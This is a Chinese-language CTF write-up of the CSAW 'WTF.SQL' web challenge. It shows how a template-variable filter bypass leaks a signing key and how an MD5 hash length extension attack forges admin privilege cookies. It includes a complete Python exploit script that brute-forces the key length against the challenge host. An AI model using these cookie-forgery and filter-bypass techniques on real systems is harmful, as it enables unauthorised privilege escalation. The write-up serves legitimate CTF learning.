WTF.SQL
周末跟着队里打了一下CSAW,打之前大家和我说这个比赛是for beginner,我真是信了他们的邪了。。。
这道Web500是本次CSAW web板块分值最高的一道,绕了好大一个弯做了出来,就记录一下。
信息收集
题目打开来是注册、登录等常见的功能,额外的有一个POST内容的功能
然后观察一下响应头里,发现会有一个X-SQL-Fact的头,会随机返回三句话中的一句:
MongoDB (a NoSQL database) ships with no authentication by default!
The <> operator is equivalent to !=
MySQL silently truncates data if it can't fit into the destination field
这个到最后也没用上,有点迷,害我还扫了所有的端口。。。甚至以为这是一道类似WCTF Cyber Mimic Defense 的拟态防御的题。。。
然后扫了一下基本的一些敏感文件,发现了一个robots.txt
User-agent: *
Disallow: / # procedure:index_handler
Disallow: /admin # procedure:admin_handler
Disallow: /login # procedure:login_handler
Disallow: /post # procedure:post_handler
Disallow: /register # procedure:register_handler
Disallow: /robots.txt # procedure:robots_txt_handler
Disallow: /static/% # procedure:static_handler
Disallow: /verify # procedure:verify_handler
# Yeah, we know this is contrived :(
直觉告诉我verify这个路由有点用处!!!
直接GET请求返回
Missing required param 'proc'!
一开始的时候,我以为proc是指/proc/目录的意思,然后试了些类似self、1之类的值都不对
感谢Lyle老哥告诉了我这是procedure。。。都怪我没好好看眼robots.txt
然后就可以愉快地读上面列出的procedure了~~~
所有的文件我放在了网盘里,有需要的可以自取
链接: https://pan.baidu.com/s/1-rRjt_39JxsSIz0h9o8VLg 密码: 43e2
代码审计
这份代码有点皮。不是后端语言的审计,而是mysql的procedure的审计,奇怪为啥要把逻辑写在mysql里。
大概整个业务的逻辑可以按照robots.txt的内容来划分。
整个会话有三个cookie,分别是admin、email、privs。我目测后端在接收到这三个cookie以后,会先进行合法性的校验,校验通过会放入cookies的表中。
admin_hanlder:
先校验是不是admin(从数据库中拿cookie['admin'])
然后判断privs有没有view_panels和create_panels的权限(通过解析cookie['privs'])
create_panels可以加一个table_name
view_panels可以dump出加的table_name的表的值
所以根据题目描述里的提示,flag.txt就是要加的table_name
login_handler:
check用户名密码
获得签名后的 cookie(admin、email、privs)
SET signature = SHA2(CONCAT(cookie_value, secret), 256);
SET signed = CONCAT(signature, LOWER(HEX(cookie_value)));
index_handler:
获取post_list
渲染模板展示post的内容
post_handler:
- 增加post,这里会有一个banned_post_patterns过滤了一些东西
verify_handler:
- 下载procedure
register_handler:
- 注册一个新用户
漏洞点
根据admin_handler的内容,不难确定我们需要伪造admin、privs的签名,来以admin的身份加一个flag.txt的table_name。
SET signing_key = (SELECT `value` FROM `priv_config` WHERE `name` = 'signing_key');
SET signed_privs = CONCAT(MD5(CONCAT(signing_key, privs)), privs);
其中,privs还额外多做了一次签名的工作,这个是一个典型的hash拓展攻击的例子,这里不赘述攻击的方式。
所以核心问题就是如何获取sign_cookie这个procedure中用的signing_key
SET secret = (SELECT `value` FROM `config` WHERE `name` = 'signing_key');
SET signature = SHA2(CONCAT(cookie_value, secret), 256);
SET signed = CONCAT(signature, LOWER(HEX(cookie_value)));
我在做的时候,一直以为是通过一个sql注入来实现的,但是纵观全局,其实所有的procedure都是参数化形式的sql,不存在sql注入的可能性。
直到我关注到了一个叫做populate_common_template_vars的procedure
BEGIN
INSERT INTO `template_vars` SELECT CONCAT('config_', name), value FROM `config`;
INSERT INTO `template_vars` SELECT CONCAT('cookie_', name), value FROM `cookies`;
INSERT INTO `template_vars` SELECT CONCAT('request_', name), value FROM `query_params`;
END
template_vars是一张临时表,存放的是用template渲染时的变量,可以发现这个procedure把config表中的所有内容都存在了template_vars中,那也就是说,template_vars中有一个config_signing_key变量,是我们需要获得的secret。
populate_common_template_vars函数只在一处被调用到,就是template_string。
而它存在一个将template模板中变量替换为template_vars中值的过程
SET formatted = template_s;
SET i = 0;
WHILE ( formatted REGEXP @template_regex AND i < 50 ) DO
SET replace_start = REGEXP_INSTR(formatted, @template_regex, 1, 1, 0);
SET replace_end = REGEXP_INSTR(formatted, @template_regex, 1, 1, 1);
SET fmt_name = SUBSTR(formatted FROM replace_start + 2 FOR (replace_end - replace_start - 2 - 1));
SET fmt_val = (SELECT `value` FROM `template_vars` WHERE `name` = TRIM(fmt_name));
SET fmt_val = COALESCE(fmt_val, '');
SET formatted = CONCAT(SUBSTR(formatted FROM 1 FOR replace_start - 1), fmt_val, SUBSTR(formatted FROM replace_end));
SET i = i + 1;
END WHILE;
SET resp = formatted;
其中的template_regex为
SET @template_regex = '\$\{[a-zA-Z0-9_ ]+\}';
上面那段代码很好理解,大概就是从头开始碰到一个符合template_regex正则的字符串就替换成对应名字template_vars中的值,然后循环替换直到50次。
也就是说如果template或者说处理中的template中存在${config_signing_key}
字样,那我们就大功告成了。
可惜的是直接尝试后发现被上面提到的banned_post_patterns给ban了。
经过了一些试探,banned_post_patterns的规则应该是禁了'\$\{config_[a-zA-Z0-9_ ]+\}'
这样一个正则
config开头的变量都禁了。
这时候就需要去绕过这个的限制。还是populate_common_template_vars这个procedure,它还把query_params都存进了template_vars,那么如果我们请求是多加一个比如test参数,然后post一个${request_test}
应该就能解析成功。
激动人心的时刻!!!
获得了signing_key以后,只要再fuzz一下privs里的那个secret的长度即可完成整个的伪造。
我是拿github上的一个md5 拓展攻击的脚本改改直接跑的,脚本如下
# coding:utf-8
import md5py
from urllib import unquote
import hashlib
import struct
import urllib
import binascii
import requests
import sys
reload(sys)
sys.setdefaultencoding('utf8')
def payload(length, str_append):
pad = ''
n0 = ((56 - (length + 1) % 64) % 64)
pad += '\x80'
pad += '\x00'*n0 + struct.pack('Q', length*8)
return pad + str_append
def hashmd5(str):
return hashlib.md5(str).hexdigest()
def check_extension_attack():
for i in range(1, 65):
s = "A" * i
mm = md5py.md5()
assert hashlib.md5(s).hexdigest() == mm.my_md5(s)
print mm.my_md5(s)
for i in range(1, 100):
for j in range(1, 10):
s = 'A' * i
salt = 'B' * j
mm = md5py.md5()
msg = salt + s + payload(len(salt+s), 'joychou')
assert hashmd5(msg) == mm.extension_attack(hashmd5(salt+s), 'joychou', len(salt+s))
# check if md5 extension attack is correct
# check_extension_attack()
if len(sys.argv) < 3:
print "Usage: ", sys.argv[0], " <md5string> <string_to_append>"
sys.exit()
hash_origin = sys.argv[1]
str_append = sys.argv[2]
for lenth in range(16,32):
m = md5py.md5()
str_payload = payload(lenth, str_append)
md5ans = m.extension_attack(hash_origin, str_append, lenth)
# print "Payload: ", repr(str_payload)
# print "Payload urlencode:", urllib.quote_plus(str_payload)
# print "md5:", m.extension_attack(hash_origin, str_append, lenth)
pay = bytes(md5ans) + bytes(str_payload)
pay1 = binascii.b2a_hex(pay)
salt = "an_bad_secret_value_nhcq497y8"
stri = pay + bytes(salt)
sha256 = hashlib.sha256()
sha256.update(stri)
res = sha256.hexdigest()
url = "http://web.chal.csaw.io:3306/admin"
cookies = {"admin":"3efb7d99e34432bb6405b6a95619978d4904a2f5b5d8d56b3702939c226d729431",
"email":"7c7034911c800d26f51c483cba33adf191358b91334faa1e228cbcdc82a11d5e726562697274687779776140676d61696c2e636f6d",
"privs":res+pay1
}
print lenth
print str_payload
print res+pay1
try:
res = requests.get(url=url,cookies=cookies,timeout=4)
print res.text
except:
pass
这里还有点小的要注意的地方是,view_panels和create_panels在伪造的时候应该是;panel_view;panel_create;
这样,因为hash拓展会加padding,不用;分割hash_priv这个procedure会问题。
最后试出来是长度是24,就可以愉快的get flag了。